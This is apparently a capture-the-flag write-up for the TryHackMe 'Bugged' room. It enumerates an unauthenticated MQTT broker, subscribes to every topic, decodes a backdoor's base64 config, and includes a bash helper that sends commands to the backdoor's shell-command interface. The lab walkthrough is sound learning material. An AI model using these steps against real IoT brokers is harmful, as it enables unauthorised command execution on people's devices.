TryHackMe - Bugged
https://tryhackme.com/room/bugged
John was working on his smart home appliances when he noticed weird traffic going across the network. Can you help him figure out what these weird network communications are?
Let’s get to work!
Enumeration#
Regular nmap scan:
sudo nmap -p- -T4 -sV 10.10.232.101
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
1883/tcp open mosquitto version 2.0.14
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
I notice that mosquitto is there, nmap has a script to check the topics available on a MQTT server.
MQTT is an OASIS standard messaging protocol for the Internet of Things (IoT). It is designed as an extremely lightweight publish/subscribe messaging transport that is ideal for connecting remote devices with a small code footprint and minimal network bandwidth. MQTT today is used in a wide variety of industries, such as automotive, manufacturing, telecommunications, oil and gas, etc. Source: https://mqtt.org/
nmap --script mqtt-subscribe -p 1883 10.10.232.101
PORT STATE SERVICE REASON VERSION
1883/tcp open mosquitto version 2.0.14 syn-ack ttl 62
| mqtt-subscribe:
| Topics and their most recent payloads:
| $SYS/broker/bytes/sent: 26100
| $SYS/broker/load/bytes/sent/1min: 1815.72
| $SYS/broker/load/messages/sent/15min: 90.66
| $SYS/broker/messages/sent: 4681
| livingroom/speaker: {"id":8479826895518579356,"gain":50}
| $SYS/broker/clients/active: 2
| $SYS/broker/messages/received: 4496
| $SYS/broker/load/publish/received/15min: 0.07
| $SYS/broker/load/sockets/1min: 2.63
| $SYS/broker/load/bytes/received/5min: 4282.30
| $SYS/broker/load/bytes/received/1min: 4353.87
| $SYS/broker/load/bytes/received/15min: 4133.12
| $SYS/broker/clients/connected: 2
| $SYS/broker/store/messages/bytes: 276
| $SYS/broker/bytes/received: 212809
| $SYS/broker/load/messages/received/15min: 87.83
| $SYS/broker/load/sockets/15min: 0.40
| $SYS/broker/load/connections/5min: 0.84
| patio/lights: {"id":10824891204262247259,"color":"GREEN","status":"ON"}
| $SYS/broker/load/publish/sent/15min: 3.07
| $SYS/broker/load/connections/1min: 2.63
| $SYS/broker/retained messages/count: 40
| storage/thermostat: {"id":1046174567002472512,"temperature":23.358744}
| $SYS/broker/version: mosquitto version 2.0.14
| $SYS/broker/load/bytes/sent/5min: 675.39
| $SYS/broker/subscriptions/count: 7
| $SYS/broker/uptime: 2970 seconds
| $SYS/broker/load/messages/sent/5min: 98.71
| $SYS/broker/load/publish/sent/5min: 7.49
| $SYS/broker/publish/messages/sent: 192
| $SYS/broker/publish/messages/received: 1
| $SYS/broker/publish/bytes/sent: 1300
| $SYS/broker/load/sockets/5min: 0.84
| $SYS/broker/clients/total: 4
| $SYS/broker/publish/bytes/received: 151863
| $SYS/broker/load/messages/received/5min: 91.79
| $SYS/broker/load/bytes/sent/15min: 476.61
| kitchen/toaster: {"id":8507216238977737049,"in_use":false,"temperature":140.90723,"toast_time":201}
| $SYS/broker/store/messages/count: 40
| $SYS/broker/load/publish/sent/1min: 34.72
| $SYS/broker/load/messages/sent/1min: 127.75
| $SYS/broker/load/publish/received/1min: 0.76
| $SYS/broker/messages/stored: 40
| $SYS/broker/load/messages/received/1min: 94.61
| $SYS/broker/load/publish/received/5min: 0.20
|_ $SYS/broker/load/connections/15min: 0.40
So the three elements that pop out from the list are the following:
kitchen/toaster
storage/thermostat
livingroom/speaker
patio/lights
But I’m sure that there’s more. (We’re not gonna write any tool this time, I promise! ;) )
We’re instead gonna use common tools to interact with MQTT servers:
sudo apt install -y mosquitto mosquitto-clients
Now, this is a little bit tricky. With MQTT you can subscribe to a topic if you know it’s name. Subscribing to a topic means that you can listen to its updates made by other IoT devices.
But in this case, we’re gonna listen to them all using the multi-level wildcard to subscribe to everything:
mosquitto_sub -h 10.10.232.101 -t "#" -v
We can see a lot of topics being updated here, but from time to time a base64 string appears:
So I investigate. This is the string that I’m talking about:
yR3gPp0r8Y/AGlaMxmHJe/qV66JF5qmH/config eyJpZCI6ImNkZDFiMWMwLTFjNDAtNGIwZi04ZTIyLTYxYjM1NzU0OGI3ZCIsInJlZ2lzdGVyZWRfY29tbWFuZHMiOlsiSEVMUCIsIkNNRCIsIlNZUyJdLCJwdWJfdG9waWMiOiJVNHZ5cU5sUXRmLzB2b3ptYVp5TFQvMTVIOVRGNkNIZy9wdWIiLCJzdWJfdG9waWMiOiJYRDJyZlI5QmV6L0dxTXBSU0VvYmgvVHZMUWVoTWcwRS9zdWIifQ==
It feels like that the topic in question is yR3gPp0r8Y/AGlaMxmHJe/qV66JF5qmH/config
and that the rest is the payload/message that it brings:
{
"id": "cdd1b1c0-1c40-4b0f-8e22-61b357548b7d",
"registered_commands": [
"HELP",
"CMD",
"SYS"
],
"pub_topic": "U4vyqNlQtf/0vozmaZyLT/15H9TF6CHg/pub",
"sub_topic": "XD2rfR9Bez/GqMpRSEobh/TvLQehMg0E/sub"
}
Okay so, wait. What I’m understanding here is that there are two topics, one defined as “pub_topic” and the other as “sub_topic”. Then, we have “HELP”, “CMD”, “SYS” as commands.
Can we execute anything here? My idea is to first connect to the “sub_topic” to subscribe and see if I can get any information out of it by just listening and then see if I can send those commands to the “pub_topic”!
NOTE: For whatever reason, it’s the other way around.
I want to describe first what my goal is.
My goal is to save the data that we collect for that specific topic and redirect its output to a file (so I can keep it for analysis).
mosquitto_sub -h 10.10.232.101 -t "U4vyqNlQtf/0vozmaZyLT/15H9TF6CHg/pub" -v | tee output.txt
Then I’m gonna use watch
to repeat the same command every second in order to see the last sent messages.
But I figured that the message that are sent are base64 encoded. So this is what I came up with:
tail output.txt | cut -d " " -f 2 | base64 -d | jq --tab -C .
This is the script that I made for it:
#!/bin/bash
# Listen to the subscribed topic and go in background
mosquitto_sub -h 10.10.232.101 -t "U4vyqNlQtf/0vozmaZyLT/15H9TF6CHg/pub" -v > output.txt &
# Read every 3 seconds the content of the file, decode it and beautify it
watch -n 1 'tail output.txt | cut -d " " -f 2 | base64 -d | jq --tab -C .'
kill %1
And then I send the message:
mosquitto_pub -h 10.10.232.101 -t 'XD2rfR9Bez/GqMpRSEobh/TvLQehMg0E/sub' -m 'HELP'
I could’ve done that better, but it works this way for me
So we get the following message:
Invalid message format.
Format: base64({"id": "<backdoor id>", "cmd": "<command>", "arg": "<argument>"})
I promised you no more tools so I’m gonna figure out a quick way to send a base64 encoded json in bash xD
But first let’s figure out what parameters they need:
id
: Which I believe must be the one from the/config
topiccmd
: We got this. We can use one of the followings: “HELP”, “CMD”, “SYS”arg
: If required, I think we can pass arguments to those 3 commands.
I’m sorry but I broke my promise. Here’s a bash command that allows you to use mqttbackdoor
in your shell to interact with the topic:
function mqttbackdoor(){
if [ $# -eq 0 ]; then
echo "mqttbackdoor <host> <topic> <backdoor id> <command> <argument>"
exit fi
message=$(echo "{\"id\": \"$3\", \"cmd\": \"$4\", \"arg\": \"$5\"}" | base64)
echo "sending: $(echo $message | base64 -d | jq -C --tab .)"
mosquitto_pub -h $1 -t $2 -m "$message"
}
You can directly copy and paste this in your shell or, if you stored it in a file, simply do source mqttbackdoor.sh
This is as simple as:
mqttbackdoor 10.10.232.101 XD2rfR9Bez/GqMpRSEobh/TvLQehMg0E/sub SOMEID HELP
So here we read the following:
Commands:
HELP: Display help message (takes no arg)
CMD: Run a shell command
SYS: Return system information (takes no arg)
Okay, we’re almost there! Let’s check if we first require any authentication to use the CMD command:
We can read the flag, can we?
Great! I really enjoyed this CTF to be honest, I rarely see anything that includes MQTT in CTFs and this was a nice experience!